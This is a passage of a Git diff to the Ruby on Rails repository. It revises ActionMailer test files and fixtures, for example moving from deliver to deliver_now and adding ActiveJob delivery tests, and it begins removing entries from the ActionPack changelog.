-+5/rAq26t3lKIxV/p88hq6ptngdgCzoPjJqndiLfc/6y5A14WeDFGNPct4iUsJBV2bYzLEV7m83s
-6Rp63VPhHKC/g/LzaU9qexJRr56043JWinqAtfZqsSm1sjoznthl54dtCqv+uL4nIY+oYWuc3+nH
-kGfn8b0HQpvOYLQAZUDanbJs3jQhITZEgdarZK+cO6ySlL13rut5nFaN23s7u3Snz6eRPTkCoc2/
-Vp1zHfZVFpZ87FiMVLV1iqyK5rlzfji2GzjfDsodlD+Weo5UD4h6PwKqzQMqID0tq2VjjFVSMpis
-ZLRAs7sePZBZAHI+gIanB8I7MD+femAceeUe2Kxa5jS950kZ1p5eNEdeX1+jFmSpZ+1EdWCsDcne
-NPNgUHNw3aYpnzv9PGTX0uo94EtN9qq1rOdxe3kc79T8ukeHJJ8Fnxej6qlylbLLsjQLOy6Xy2a1
-kefs/N+nM7+S7IG5/E5Yc7F003pWErLjbH0O5cGadiMptSB/DZ5U5DI9yeg5MFYyMj8lC/Y7/Xjq
-OZlWcnpg9aQfXz2HRq+Wn5xOp6gN8tWq8R44e2pfyzLYemEgprst+XXk2Zj2nXlbsG05BprndTMv
-C3QRaXczshhVsHnMgfYn80Y2g5JureA6wBasPeP7LkE/jvZMJAaf/g/U2RelHsisvan5FqweIAHg
-Pwc7L68GxvVDAAAAAElFTkSuQmCC
-
---Apple-Mail-41-587703287--
-
---Apple-Mail-42-587703407
-Content-Transfer-Encoding: base64
-Content-Type: application/pkcs7-signature;
- name=smime.p7s
-Content-Disposition: attachment;
- filename=smime.p7s
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGJzCCAuAw
-ggJJoAMCAQICEFjnFNYXwDEZRWY5EkfzopUwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
-JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ
-ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA2MDkxMjE3MDExMloXDTA3MDkxMjE3MDEx
-MlowRTEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEiMCAGCSqGSIb3DQEJARYTamFt
-aXNAMzdzaWduYWxzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAO2A9JeOFIFJ
-G6z8pTcAldrZ2nMe+Xb1tNrbHgoVzN/QhHXM4qst2Ml93cmFLjMmwG7P9RJeU4oNx+jTqVoBB7NV
-Ne1/o56Do0KhfMZ9iUDQdPLbkZMq4EEpFMdm6PyM3muRKwPhj66iAWe/osCb8DowUK2f66vaRx0Z
-Y0MQHIIrXE02Ta4IfAhIfPqBLkZ4WgTYBHN9vMdYea1jF0GO4gqGk1wqwb3yxv2QMYMbwJ6SI+k/
-ZjkSR/OilTCBhwYLKoZIhvcNAQkQAgsxeKB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3
-dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1h
-aWwgSXNzdWluZyBDQQIQWOcU1hfAMRlFZjkSR/OilTANBgkqhkiG9w0BAQEFAASCAQCfwQiC3v6/
-yleRDGv3bJ4nQYQ+c3mz3+mn3Xi6uU35n3piwxZZaWRdmLyiXPvU+QReHpSf3l2qsEZM3sdE0XF9
-eRul/+QTFJcDNXOEAxG1zC2Gpz+6c6RrX4Ou12Pwkp+pNrZWTSY/mZgdqcArupOBcZi7qBjoWcy5
-wb54dfvSSjrjmqLbkH/E8ww/6gGQuU/xXpAUZgUrTmQHrNKeIdSh5oDkOxFaFWvnmb8Z/2ixKqW/
-Ux6WqamyvBtTs/5YBEtnpZOk+uVoscYEUBhU+DVJ2OSvTdXSivMtBdXmGTsG22k+P1NGUHi/A7ev
-xPaO0uk4V8xyjNlN4HPuGpkrlXwPAAAAAAAA
-
---Apple-Mail-42-587703407--
diff --git a/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject b/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject
deleted file mode 100644
index e86108da1e..0000000000
--- a/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject
+++ /dev/null
@@ -1,14 +0,0 @@
-From jamis@37signals.com Mon May 2 16:07:05 2005
-Mime-Version: 1.0 (Apple Message framework v622)
-Content-Transfer-Encoding: base64
-Message-Id: <d3b8cf8e49f04480850c28713a1f473e@37signals.com>
-Content-Type: text/plain;
- charset=EUC-KR;
- format=flowed
-To: jamis@37signals.com
-From: Jamis Buck <jamis@37signals.com>
-Subject: Re: Test: =?UTF-8?B?Iua8ouWtlyI=?= mid =?UTF-8?B?Iua8ouWtlyI=?= tail
-Date: Mon, 2 May 2005 16:07:05 -0600
-
-tOu6zrrQwMcguLbC+bChwfa3ziwgv+y4rrTCIMfPs6q01MC7ILnPvcC0z7TZLg0KDQrBpiDAzLin
-wLogSmFtaXPA1LTPtNku
diff --git a/actionmailer/test/fixtures/test_helper_mailer/welcome b/actionmailer/test/fixtures/test_helper_mailer/welcome
new file mode 100644
index 0000000000..61ce70d578
--- /dev/null
+++ b/actionmailer/test/fixtures/test_helper_mailer/welcome
@@ -0,0 +1 @@
+Welcome! \ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb b/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
index a93c30ea1a..ae3cfa77e7 100644
--- a/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
+++ b/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
@@ -1 +1 @@
-Hey Ho, <%= render :partial => "subtemplate" %> \ No newline at end of file
+Hey Ho, <%= render partial: "subtemplate" %> \ No newline at end of file
diff --git a/actionmailer/test/fixtures/url_test_mailer/exercise_url_for.erb b/actionmailer/test/fixtures/url_test_mailer/exercise_url_for.erb
new file mode 100644
index 0000000000..0322c1191e
--- /dev/null
+++ b/actionmailer/test/fixtures/url_test_mailer/exercise_url_for.erb
@@ -0,0 +1 @@
+<%= url_for(@options) %> <%= @url %>
diff --git a/actionmailer/test/i18n_with_controller_test.rb b/actionmailer/test/i18n_with_controller_test.rb
index a3e93c9c31..010e44d045 100644
--- a/actionmailer/test/i18n_with_controller_test.rb
+++ b/actionmailer/test/i18n_with_controller_test.rb
@@ -1,4 +1,5 @@
require 'abstract_unit'
+require 'action_view'
require 'action_controller'
class I18nTestMailer < ActionMailer::Base
@@ -9,15 +10,15 @@ class I18nTestMailer < ActionMailer::Base
def mail_with_i18n_subject(recipient)
@recipient = recipient
I18n.locale = :de
- mail(to: recipient, subject: "#{I18n.t :email_subject} #{recipient}",
+ mail(to: recipient, subject: I18n.t(:email_subject),
from: "system@loudthinking.com", date: Time.local(2004, 12, 12))
end
end
class TestController < ActionController::Base
def send_mail
- I18nTestMailer.mail_with_i18n_subject("test@localhost").deliver
- render text: 'Mail sent'
+ email = I18nTestMailer.mail_with_i18n_subject("test@localhost").deliver_now
+ render text: "Mail sent - Subject: #{email.subject}"
end
end
@@ -27,20 +28,43 @@ class ActionMailerI18nWithControllerTest < ActionDispatch::IntegrationTest
get ':controller(/:action(/:id))'
end
- def app
- Routes
+ class RoutedRackApp
+ attr_reader :routes
+
+ def initialize(routes, &blk)
+ @routes = routes
+ @stack = ActionDispatch::MiddlewareStack.new(&blk).build(@routes)
+ end
+
+ def call(env)
+ @stack.call(env)
+ end
end
- def setup
- I18n.backend.store_translations('de', email_subject: '[Signed up] Welcome')
+ APP = RoutedRackApp.new(Routes)
+
+ def app
+ APP
end
- def teardown
- I18n.locale = :en
+ teardown do
+ I18n.locale = I18n.default_locale
end
def test_send_mail
- get '/test/send_mail'
- assert_equal "Mail sent", @response.body
+ Mail::SMTP.any_instance.expects(:deliver!)
+ with_translation 'de', email_subject: '[Anmeldung] Willkommen' do
+ get '/test/send_mail'
+ assert_equal "Mail sent - Subject: [Anmeldung] Willkommen", @response.body
+ end
+ end
+
+ protected
+
+ def with_translation(locale, data)
+ I18n.backend.store_translations(locale, data)
+ yield
+ ensure
+ I18n.backend.reload!
end
end
diff --git a/actionmailer/test/log_subscriber_test.rb b/actionmailer/test/log_subscriber_test.rb
index 5f52a1bd69..3871b16840 100644
--- a/actionmailer/test/log_subscriber_test.rb
+++ b/actionmailer/test/log_subscriber_test.rb
@@ -1,7 +1,7 @@
-require "abstract_unit"
+require 'abstract_unit'
require 'mailers/base_mailer'
-require "active_support/log_subscriber/test_helper"
-require "action_mailer/log_subscriber"
+require 'active_support/log_subscriber/test_helper'
+require 'action_mailer/log_subscriber'
class AMLogSubscriberTest < ActionMailer::TestCase
include ActiveSupport::LogSubscriber::TestHelper
@@ -22,12 +22,17 @@ class AMLogSubscriberTest < ActionMailer::TestCase
end
def test_deliver_is_notified
- BaseMailer.welcome.deliver
+ BaseMailer.welcome.deliver_now
wait
+
assert_equal(1, @logger.logged(:info).size)
assert_match(/Sent mail to system@test.lindsaar.net/, @logger.logged(:info).first)
- assert_equal(1, @logger.logged(:debug).size)
- assert_match(/Welcome/, @logger.logged(:debug).first)
+
+ assert_equal(2, @logger.logged(:debug).size)
+ assert_match(/BaseMailer#welcome: processed outbound mail in [\d.]+ms/, @logger.logged(:debug).first)
+ assert_match(/Welcome/, @logger.logged(:debug).second)
+ ensure
+ BaseMailer.deliveries.clear
end
def test_receive_is_notified
@@ -39,4 +44,4 @@ class AMLogSubscriberTest < ActionMailer::TestCase
assert_equal(1, @logger.logged(:debug).size)
assert_match(/Jamis/, @logger.logged(:debug).first)
end
-end \ No newline at end of file
+end
diff --git a/actionmailer/test/mail_layout_test.rb b/actionmailer/test/mail_layout_test.rb
index 7f959282cb..166dd096d4 100644
--- a/actionmailer/test/mail_layout_test.rb
+++ b/actionmailer/test/mail_layout_test.rb
@@ -44,16 +44,6 @@ class ExplicitLayoutMailer < ActionMailer::Base
end
class LayoutMailerTest < ActiveSupport::TestCase
- def setup
- set_delivery_method :test
- ActionMailer::Base.perform_deliveries = true
- ActionMailer::Base.deliveries.clear
- end
-
- def teardown
- restore_delivery_method
- end
-
def test_should_pickup_default_layout
mail = AutoLayoutMailer.hello
assert_equal "Hello from layout Inside", mail.body.to_s.strip
diff --git a/actionmailer/test/mailers/async_mailer.rb b/actionmailer/test/mailers/async_mailer.rb
deleted file mode 100644
index c21a464f38..0000000000
--- a/actionmailer/test/mailers/async_mailer.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class AsyncMailer < BaseMailer
- self.queue = ActiveSupport::TestQueue.new
-end
diff --git a/actionmailer/test/mailers/base_mailer.rb b/actionmailer/test/mailers/base_mailer.rb
index 8fca6177bd..bd991e209e 100644
--- a/actionmailer/test/mailers/base_mailer.rb
+++ b/actionmailer/test/mailers/base_mailer.rb
@@ -38,7 +38,7 @@ class BaseMailer < ActionMailer::Base
end
def attachment_with_hash
- attachments['invoice.jpg'] = { data: "\312\213\254\232)b",
+ attachments['invoice.jpg'] = { data: ::Base64.encode64("\312\213\254\232)b"),
mime_type: "image/x-jpg",
transfer_encoding: "base64" }
mail
@@ -119,8 +119,12 @@ class BaseMailer < ActionMailer::Base
def without_mail_call
end
- def with_nil_as_return_value(hash = {})
- mail(:template_name => "welcome")
+ def with_nil_as_return_value
+ mail(template_name: "welcome")
nil
end
+
+ def with_subject_interpolations
+ mail(subject: default_i18n_subject(rapper_or_impersonator: 'Slim Shady'), body: '')
+ end
end
diff --git a/actionmailer/test/mailers/delayed_mailer.rb b/actionmailer/test/mailers/delayed_mailer.rb
new file mode 100644
index 0000000000..62d4baa434
--- /dev/null
+++ b/actionmailer/test/mailers/delayed_mailer.rb
@@ -0,0 +1,6 @@
+class DelayedMailer < ActionMailer::Base
+
+ def test_message(*)
+ mail(from: 'test-sender@test.com', to: 'test-receiver@test.com', subject: 'Test Subject', body: 'Test Body')
+ end
+end
diff --git a/actionmailer/test/mailers/proc_mailer.rb b/actionmailer/test/mailers/proc_mailer.rb
index 733633b575..7e189d861f 100644
--- a/actionmailer/test/mailers/proc_mailer.rb
+++ b/actionmailer/test/mailers/proc_mailer.rb
@@ -1,7 +1,8 @@
class ProcMailer < ActionMailer::Base
default to: 'system@test.lindsaar.net',
'X-Proc-Method' => Proc.new { Time.now.to_i.to_s },
- subject: Proc.new { give_a_greeting }
+ subject: Proc.new { give_a_greeting },
+ 'x-has-to-proc' => :symbol
def welcome
mail
diff --git a/actionmailer/test/message_delivery_test.rb b/actionmailer/test/message_delivery_test.rb
new file mode 100644
index 0000000000..9abf8b225c
--- /dev/null
+++ b/actionmailer/test/message_delivery_test.rb
@@ -0,0 +1,104 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'active_job'
+require 'minitest/mock'
+require 'mailers/delayed_mailer'
+require 'active_support/core_ext/numeric/time'
+
+class MessageDeliveryTest < ActiveSupport::TestCase
+ include ActiveJob::TestHelper
+
+ setup do
+ @previous_logger = ActiveJob::Base.logger
+ @previous_delivery_method = ActionMailer::Base.delivery_method
+ ActionMailer::Base.delivery_method = :test
+ ActiveJob::Base.logger = Logger.new(nil)
+ @mail = DelayedMailer.test_message(1, 2, 3)
+ ActionMailer::Base.deliveries.clear
+ ActiveJob::Base.queue_adapter.perform_enqueued_at_jobs = true
+ ActiveJob::Base.queue_adapter.perform_enqueued_jobs = true
+ end
+
+ teardown do
+ ActiveJob::Base.logger = @previous_logger
+ ActionMailer::Base.delivery_method = @previous_delivery_method
+ end
+
+ test 'should have a message' do
+ assert @mail.message
+ end
+
+ test 'its message should be a Mail::Message' do
+ assert_equal Mail::Message , @mail.message.class
+ end
+
+ test 'should respond to .deliver' do
+ assert_respond_to @mail, :deliver
+ end
+
+ test 'should respond to .deliver!' do
+ assert_respond_to @mail, :deliver!
+ end
+
+ test '.deliver is deprecated' do
+ assert_deprecated do
+ @mail.deliver
+ end
+ end
+ test '.deliver! is deprecated' do
+ assert_deprecated do
+ @mail.deliver!
+ end
+ end
+
+ test 'should respond to .deliver_later' do
+ assert_respond_to @mail, :deliver_later
+ end
+
+ test 'should respond to .deliver_later!' do
+ assert_respond_to @mail, :deliver_later!
+ end
+
+ test 'should respond to .deliver_now' do
+ assert_respond_to @mail, :deliver_now
+ end
+
+ test 'should respond to .deliver_now!' do
+ assert_respond_to @mail, :deliver_now!
+ end
+
+ def test_should_enqueue_and_run_correctly_in_activejob
+ @mail.deliver_later!
+ assert_equal 1, ActionMailer::Base.deliveries.size
+ ensure
+ ActionMailer::Base.deliveries.clear
+ end
+
+ test 'should enqueue the email with :deliver_now delivery method' do
+ assert_performed_with(job: ActionMailer::DeliveryJob, args: ['DelayedMailer', 'test_message', 'deliver_now', 1, 2, 3]) do
+ @mail.deliver_later
+ end
+ end
+
+ test 'should enqueue the email with :deliver_now! delivery method' do
+ assert_performed_with(job: ActionMailer::DeliveryJob, args: ['DelayedMailer', 'test_message', 'deliver_now!', 1, 2, 3]) do
+ @mail.deliver_later!
+ end
+ end
+
+ test 'should enqueue a delivery with a delay' do
+ travel_to Time.new(2004, 11, 24, 01, 04, 44) do
+ assert_performed_with(job: ActionMailer::DeliveryJob, at: Time.current.to_f+600.seconds, args: ['DelayedMailer', 'test_message', 'deliver_now', 1, 2, 3]) do
+ @mail.deliver_later wait: 600.seconds
+ end
+ end
+ end
+
+ test 'should enqueue a delivery at a specific time' do
+ later_time = Time.now.to_f + 3600
+ assert_performed_with(job: ActionMailer::DeliveryJob, at: later_time, args: ['DelayedMailer', 'test_message', 'deliver_now', 1, 2, 3]) do
+ @mail.deliver_later wait_until: later_time
+ end
+ end
+
+end
diff --git a/actionmailer/test/spec_type_test.rb b/actionmailer/test/spec_type_test.rb
deleted file mode 100644
index 90db59c2d2..0000000000
--- a/actionmailer/test/spec_type_test.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'abstract_unit'
-
-class NotificationMailer < ActionMailer::Base; end
-class Notifications < ActionMailer::Base; end
-
-class SpecTypeTest < ActiveSupport::TestCase
- def assert_mailer actual
- assert_equal ActionMailer::TestCase, actual
- end
-
- def refute_mailer actual
- refute_equal ActionMailer::TestCase, actual
- end
-
- def test_spec_type_resolves_for_class_constants
- assert_mailer MiniTest::Spec.spec_type(NotificationMailer)
- assert_mailer MiniTest::Spec.spec_type(Notifications)
- end
-
- def test_spec_type_resolves_for_matching_strings
- assert_mailer MiniTest::Spec.spec_type("WidgetMailer")
- assert_mailer MiniTest::Spec.spec_type("WidgetMailerTest")
- assert_mailer MiniTest::Spec.spec_type("Widget Mailer Test")
- # And is not case sensitive
- assert_mailer MiniTest::Spec.spec_type("widgetmailer")
- assert_mailer MiniTest::Spec.spec_type("widgetmailertest")
- assert_mailer MiniTest::Spec.spec_type("widget mailer test")
- end
-
- def test_spec_type_wont_match_non_space_characters
- refute_mailer MiniTest::Spec.spec_type("Widget Mailer\tTest")
- refute_mailer MiniTest::Spec.spec_type("Widget Mailer\rTest")
- refute_mailer MiniTest::Spec.spec_type("Widget Mailer\nTest")
- refute_mailer MiniTest::Spec.spec_type("Widget Mailer\fTest")
- refute_mailer MiniTest::Spec.spec_type("Widget MailerXTest")
- end
-end
diff --git a/actionmailer/test/test_case_test.rb b/actionmailer/test/test_case_test.rb
new file mode 100644
index 0000000000..86fd37bea6
--- /dev/null
+++ b/actionmailer/test/test_case_test.rb
@@ -0,0 +1,28 @@
+require 'abstract_unit'
+
+class TestTestMailer < ActionMailer::Base
+end
+
+class CrazyNameMailerTest < ActionMailer::TestCase
+ tests TestTestMailer
+
+ def test_set_mailer_class_manual
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+class CrazySymbolNameMailerTest < ActionMailer::TestCase
+ tests :test_test_mailer
+
+ def test_set_mailer_class_manual_using_symbol
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+class CrazyStringNameMailerTest < ActionMailer::TestCase
+ tests 'test_test_mailer'
+
+ def test_set_mailer_class_manual_using_string
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
diff --git a/actionmailer/test/test_helper_test.rb b/actionmailer/test/test_helper_test.rb
index 7c7f0b6fdc..96b75ff2e0 100644
--- a/actionmailer/test/test_helper_test.rb
+++ b/actionmailer/test/test_helper_test.rb
@@ -1,3 +1,4 @@
+# encoding: utf-8
require 'abstract_unit'
class TestHelperMailer < ActionMailer::Base
@@ -36,10 +37,18 @@ class TestHelperMailerTest < ActionMailer::TestCase
assert_equal "UTF-8", charset
end
+ def test_encode
+ assert_equal '=?UTF-8?Q?This_is_=E3=81=82_string?=', encode('This is ã‚ string')
+ end
+
+ def test_read_fixture
+ assert_equal ['Welcome!'], read_fixture('welcome')
+ end
+
def test_assert_emails
assert_nothing_raised do
assert_emails 1 do
- TestHelperMailer.test.deliver
+ TestHelperMailer.test.deliver_now
end
end
end
@@ -47,27 +56,27 @@ class TestHelperMailerTest < ActionMailer::TestCase
def test_repeated_assert_emails_calls
assert_nothing_raised do
assert_emails 1 do
- TestHelperMailer.test.deliver
+ TestHelperMailer.test.deliver_now
end
end
assert_nothing_raised do
assert_emails 2 do
- TestHelperMailer.test.deliver
- TestHelperMailer.test.deliver
+ TestHelperMailer.test.deliver_now
+ TestHelperMailer.test.deliver_now
end
end
end
def test_assert_emails_with_no_block
assert_nothing_raised do
- TestHelperMailer.test.deliver
+ TestHelperMailer.test.deliver_now
assert_emails 1
end
assert_nothing_raised do
- TestHelperMailer.test.deliver
- TestHelperMailer.test.deliver
+ TestHelperMailer.test.deliver_now
+ TestHelperMailer.test.deliver_now
assert_emails 3
end
end
@@ -83,7 +92,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
def test_assert_emails_too_few_sent
error = assert_raise ActiveSupport::TestCase::Assertion do
assert_emails 2 do
- TestHelperMailer.test.deliver
+ TestHelperMailer.test.deliver_now
end
end
@@ -93,8 +102,8 @@ class TestHelperMailerTest < ActionMailer::TestCase
def test_assert_emails_too_many_sent
error = assert_raise ActiveSupport::TestCase::Assertion do
assert_emails 1 do
- TestHelperMailer.test.deliver
- TestHelperMailer.test.deliver
+ TestHelperMailer.test.deliver_now
+ TestHelperMailer.test.deliver_now
end
end
@@ -104,7 +113,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
def test_assert_no_emails_failure
error = assert_raise ActiveSupport::TestCase::Assertion do
assert_no_emails do
- TestHelperMailer.test.deliver
+ TestHelperMailer.test.deliver_now
end
end
diff --git a/actionmailer/test/test_test.rb b/actionmailer/test/test_test.rb
deleted file mode 100644
index 139eb53359..0000000000
--- a/actionmailer/test/test_test.rb
+++ /dev/null
@@ -1,172 +0,0 @@
-require 'abstract_unit'
-
-class TestTestMailer < ActionMailer::Base
-end
-
-class CrazyNameMailerTest < ActionMailer::TestCase
- tests TestTestMailer
-
- def test_set_mailer_class_manual
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-class CrazySymbolNameMailerTest < ActionMailer::TestCase
- tests :test_test_mailer
-
- def test_set_mailer_class_manual_using_symbol
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-class CrazyStringNameMailerTest < ActionMailer::TestCase
- tests 'test_test_mailer'
-
- def test_set_mailer_class_manual_using_string
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-describe TestTestMailer do
- it "gets the mailer from the test name" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-describe TestTestMailer, :action do
- it "gets the mailer from the test name" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-describe TestTestMailer do
- describe "nested" do
- it "gets the mailer from the test name" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
- end
-end
-
-describe TestTestMailer, :action do
- describe "nested" do
- it "gets the mailer from the test name" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
- end
-end
-
-describe "TestTestMailer" do
- it "gets the mailer from the test name" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-describe "TestTestMailerTest" do
- it "gets the mailer from the test name" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-describe "TestTestMailer" do
- describe "nested" do
- it "gets the mailer from the test name" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
- end
-end
-
-describe "TestTestMailerTest" do
- describe "nested" do
- it "gets the mailer from the test name" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
- end
-end
-
-describe "AnotherCrazySymbolNameMailerTest" do
- tests :test_test_mailer
-
- it "gets the mailer after setting it with a symbol" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-describe "AnotherCrazyStringNameMailerTest" do
- tests 'test_test_mailer'
-
- it "gets the mailer after setting it with a string" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-describe "Another Crazy Name Mailer Test" do
- tests TestTestMailer
-
- it "gets the mailer after setting it manually" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-describe "Another Crazy Symbol Name Mailer Test" do
- tests :test_test_mailer
-
- it "gets the mailer after setting it with a symbol" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-describe "Another Crazy String Name Mailer Test" do
- tests 'test_test_mailer'
-
- it "gets the mailer after setting it with a string" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
-
-describe "AnotherCrazySymbolNameMailerTest" do
- tests :test_test_mailer
-
- describe "nested" do
- it "gets the mailer after setting it with a symbol" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
- end
-end
-
-describe "AnotherCrazyStringNameMailerTest" do
- tests 'test_test_mailer'
-
- describe "nested" do
- it "gets the mailer after setting it with a string" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
- end
-end
-
-describe "Another Crazy Name Mailer Test" do
- tests TestTestMailer
-
- describe "nested" do
- it "gets the mailer after setting it manually" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
- end
-end
-
-describe "Another Crazy Symbol Name Mailer Test" do
- tests :test_test_mailer
-
- describe "nested" do
- it "gets the mailer after setting it with a symbol" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
- end
-end
-
-describe "Another Crazy String Name Mailer Test" do
- tests 'test_test_mailer'
-
- it "gets the mailer after setting it with a string" do
- assert_equal TestTestMailer, self.class.mailer_class
- end
-end
diff --git a/actionmailer/test/url_test.rb b/actionmailer/test/url_test.rb
index dcd80f46b5..7928fe9542 100644
--- a/actionmailer/test/url_test.rb
+++ b/actionmailer/test/url_test.rb
@@ -23,9 +23,32 @@ class UrlTestMailer < ActionMailer::Base
mail(to: recipient, subject: "[Signed up] Welcome #{recipient}",
from: "system@loudthinking.com", date: Time.local(2004, 12, 12))
end
+
+ def exercise_url_for(options)
+ @options = options
+ @url = url_for(@options)
+ mail(from: 'from@example.com', to: 'to@example.com', subject: 'subject')
+ end
end
class ActionMailerUrlTest < ActionMailer::TestCase
+ class DummyModel
+ def self.model_name
+ OpenStruct.new(route_key: 'dummy_model')
+ end
+
+ def persisted?
+ false
+ end
+
+ def model_name
+ self.class.model_name
+ end
+
+ def to_model
+ self
+ end
+ end
def encode( text, charset="UTF-8" )
quoted_printable( text, charset )
@@ -40,17 +63,45 @@ class ActionMailerUrlTest < ActionMailer::TestCase
mail
end
- def setup
- set_delivery_method :test
- ActionMailer::Base.perform_deliveries = true
- ActionMailer::Base.deliveries.clear
- ActiveSupport::Deprecation.silenced = false
+ def assert_url_for(expected, options, relative = false)
+ expected = "http://www.basecamphq.com#{expected}" if expected.start_with?('/') && !relative
+ urls = UrlTestMailer.exercise_url_for(options).body.to_s.chomp.split
+
+ assert_equal expected, urls.first
+ assert_equal expected, urls.second
+ end
+ def setup
@recipient = 'test@localhost'
end
- def teardown
- restore_delivery_method
+ def test_url_for
+ UrlTestMailer.delivery_method = :test
+
+ AppRoutes.draw do
+ get ':controller(/:action(/:id))'
+ get '/welcome' => 'foo#bar', as: 'welcome'
+ get '/dummy_model' => 'foo#baz', as: 'dummy_model'
+ end
+
+ # string
+ assert_url_for 'http://foo/', 'http://foo/'
+
+ # symbol
+ assert_url_for '/welcome', :welcome
+
+ # hash
+ assert_url_for '/a/b/c', controller: 'a', action: 'b', id: 'c'
+ assert_url_for '/a/b/c', {controller: 'a', action: 'b', id: 'c', only_path: true}, true
+
+ # model
+ assert_url_for '/dummy_model', DummyModel.new
+
+ # class
+ assert_url_for '/dummy_model', DummyModel
+
+ # array
+ assert_url_for '/dummy_model' , [DummyModel]
end
def test_signed_up_with_url
@@ -75,13 +126,13 @@ class ActionMailerUrlTest < ActionMailer::TestCase
expected.message_id = '<123@456>'
created.message_id = '<123@456>'
- assert_equal expected.encoded, created.encoded
+ assert_dom_equal expected.encoded, created.encoded
- assert_nothing_raised { UrlTestMailer.signed_up_with_url(@recipient).deliver }
+ assert_nothing_raised { UrlTestMailer.signed_up_with_url(@recipient).deliver_now }
assert_not_nil ActionMailer::Base.deliveries.first
delivered = ActionMailer::Base.deliveries.first
delivered.message_id = '<123@456>'
- assert_equal expected.encoded, delivered.encoded
+ assert_dom_equal expected.encoded, delivered.encoded
end
end
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
index 5f1a6dc082..556545c0d8 100644
--- a/actionpack/CHANGELOG.md
+++ b/actionpack/CHANGELOG.md
@@ -1,754 +1 @@
-## Rails 4.0.0 (unreleased) ##
-
-* Prevent raising EOFError on multipart GET request (IE issue). *Adam Stankiewicz*
-
-* Rename all action callbacks from *_filter to *_action to avoid the misconception that these
- callbacks are only suited for transforming or halting the response. With the new style,
- it's more inviting to use them as they were intended, like setting shared ivars for views.
-
- Example:
-
- class PeopleController < ActionController::Base
- before_action :set_person, except: [ :index, :new, :create ]
- before_action :ensure_permission, only: [ :edit, :update ]
-
- ...
-
- private
- def set_person
- @person = current_account.people.find(params[:id])
- end
-
- def ensure_permission
- current_person.can_change?(@person)
- end
- end
-
- The old *_filter methods still work with no deprecation notice.
-
- *DHH*
-
-* Add :if / :unless conditions to fragment cache:
-
- <%= cache @model, if: some_condition(@model) do %>
-
- *Stephen Ausman + Fabrizio Regini*
-
-* Add filter capability to ActionController logs for redirect locations:
-
- config.filter_redirect << 'http://please.hide.it/'
-
- *Fabrizio Regini*
-
-* Fixed a bug that ignores constraints on a glob route. This was caused because the constraint
- regular expression is overwritten when the `routes.rb` file is processed. Fixes #7924
-
- *Maura Fitzgerald*
-
-* More descriptive error messages when calling `render :partial` with
- an invalid `:layout` argument.
- #8376
-
- render :partial => 'partial', :layout => true
-
- # results in ActionView::MissingTemplate: Missing partial /true
-
- *Yves Senn*
-
-* Sweepers was extracted from Action Controller as `rails-observers` gem.
-
- *Rafael Mendonça França*
-
-* Add option flag to `CacheHelper#cache` to manually bypass automatic template digests:
-
- <% cache project, skip_digest: true do %>
- ...
- <% end %>
-
- *Drew Ulmer*
-
-* No sort Hash options in #grouped_options_for_select. *Sergey Kojin*
-
-* Accept symbols as #send_data :disposition value *Elia Schito*
-
-* Add i18n scope to distance_of_time_in_words. *Steve Klabnik*
-
-* `assert_template`:
- - is no more passing with empty string.
- - is now validating option keys. It accepts: `:layout`, `:partial`, `:locals` and `:count`.
-
- *Roberto Soares*
-
-* Allow setting a symbol as path in scope on routes. This is now allowed:
-
- scope :api do
- resources :users
- end
-
- It is also possible to pass multiple symbols to scope to shorten multiple nested scopes:
-
- scope :api do
- scope :v1 do
- resources :users
- end
- end
-
- can be rewritten as:
-
- scope :api, :v1 do
- resources :users
- end
-
- *Guillermo Iguaran*
-
-* Fix error when using a non-hash query argument named "params" in `url_for`.
-
- Before:
-
- url_for(params: "") # => undefined method `reject!' for "":String
-
- After:
-
- url_for(params: "") # => http://www.example.com?params=
-
